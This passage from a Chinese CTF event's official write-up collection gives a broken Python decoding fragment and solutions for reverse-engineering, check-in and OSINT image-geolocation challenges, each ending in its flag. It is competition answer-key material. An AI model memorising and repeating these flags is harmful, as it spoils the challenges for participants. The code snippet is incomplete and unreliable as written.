c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]
b = 179
for i in range(len(c)):
a += chr(c[i]*38%179)
print a
exp()
re1
两种办法最简单的是放记事本打开,ctrl+f 搜 flag
第二种放 ida 打开,flag{7ujm8ikhy6}
取证
签到
后台回复【xxx网盾xxx】关键字即可
好吃的可乐
福建省福州市鼓楼区杨桥东路 15-1 号
flag{56aP5bu655yB56aP5bee5biC6byT5qW85Yy65p2o5qGl5Lic6LevMTUtMeWPtw==}
中国
谷歌识图,选中桥的部分可以找到位置
flag{台湾省台中市海天桥}
加拿大
OUEST,EST 分别代表西和东
根据路牌的曼彻斯特,结合高速公路 20 与 138 即将相交。
并且前方道路分行。
所在地为加拿大魁北克省蒙特利尔的 QC-138 高速与 20 高速交汇处
坐标取 45.439,73.650
md5 加密为:e8e5a0a3a214bc2e393ad9aeb5aaecbb
flag{e8e5a0a3a214bc2e393ad9aeb5aaecbb}
image
在图中放大这部分搜索,可找下面这个珠宝工作室,搜索这个珠宝工作室即可
经纬度为:35.435846,139.645113取35.435,139.645,md5加密后为7a0a192c47ae21cbfb4d0b03dc842316
flag{7a0a192c47ae21cbfb4d0b03dc842316}
结语
已上就是本次比赛的全部wp汇总,感谢各位师傅们在假期参加比赛,第一次举办,还有很多要改进,也感谢各位师傅们的建议和批评,我们将在后续的比赛中做的更好。
往期推荐
原文始发于微信公众号(泷羽Sec):SFeather::CTF官方WP汇总
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论